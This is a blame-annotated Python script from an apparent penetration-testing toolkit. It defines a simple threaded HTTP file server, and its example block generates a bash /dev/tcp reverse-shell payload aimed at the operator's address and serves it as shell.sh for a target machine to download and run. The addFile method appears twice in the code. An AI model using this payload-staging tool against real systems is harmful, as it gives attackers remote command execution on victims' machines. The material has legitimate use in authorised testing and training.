2020-09-27 14:00:20 +02:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
2020-09-27 14:37:52 +02:00
|
|
|
from hackingscripts import util
|
2020-09-27 14:00:20 +02:00
|
|
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
2020-09-27 14:37:52 +02:00
|
|
|
import threading
|
|
|
|
import sys
|
2020-09-27 14:00:20 +02:00
|
|
|
|
2020-09-27 14:37:52 +02:00
|
|
|
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
2020-09-27 14:00:20 +02:00
|
|
|
|
2020-09-27 14:37:52 +02:00
|
|
|
def __init__(self, *args, **kwargs):
|
|
|
|
super().__init__(*args, **kwargs)
|
2020-09-27 14:00:20 +02:00
|
|
|
|
|
|
|
def do_GET(self):
|
2020-09-27 14:37:52 +02:00
|
|
|
if self.path in self.server.files:
|
|
|
|
data = self.server.files[self.path]
|
2020-09-27 14:00:20 +02:00
|
|
|
self.send_response(200)
|
|
|
|
self.end_headers()
|
|
|
|
self.wfile.write(data)
|
|
|
|
else:
|
|
|
|
self.send_response(404)
|
|
|
|
self.end_headers()
|
|
|
|
|
|
|
|
def log_message(self, format, *args):
|
2020-09-27 14:37:52 +02:00
|
|
|
if self.server.logRequests:
|
2020-09-27 14:00:20 +02:00
|
|
|
BaseHTTPRequestHandler.log_message(format, *args)
|
2020-09-27 14:37:52 +02:00
|
|
|
|
|
|
|
class HttpFileServer(HTTPServer):
|
|
|
|
def __init__(self, addr, port):
|
|
|
|
super().__init__((addr, port), FileServerRequestHandler)
|
|
|
|
self.logRequests = False
|
|
|
|
self.files = { }
|
|
|
|
|
|
|
|
def addFile(self, name, data):
|
|
|
|
if isinstance(data, str):
|
|
|
|
data = data.encode("UTF-8")
|
|
|
|
if not name.startswith("/"):
|
|
|
|
name = "/" + name
|
|
|
|
self.files[name.strip()] = data
|
|
|
|
|
|
|
|
def addFile(self, name, data):
|
|
|
|
if isinstance(data, str):
|
|
|
|
data = data.encode("UTF-8")
|
|
|
|
if not name.startswith("/"):
|
|
|
|
name = "/" + name
|
|
|
|
self.files[name.strip()] = data
|
|
|
|
|
|
|
|
def startBackground(self):
|
|
|
|
t = threading.Thread(target=self.serve_forever)
|
|
|
|
t.start()
|
|
|
|
return t
|
|
|
|
|
|
|
|
# EXAMPLE
|
|
|
|
if __name__ == "__main__":
|
|
|
|
listenPort = 4444 if len(sys.argv) < 2 else int(sys.argv[1])
|
|
|
|
ipAddress = util.getAddress()
|
|
|
|
|
|
|
|
rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort)
|
|
|
|
fileServer = HttpFileServer("0.0.0.0", 80)
|
|
|
|
fileServer.addFile("shell.sh", rev_shell)
|
|
|
|
fileServer.startBackground()
|
|
|
|
print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
|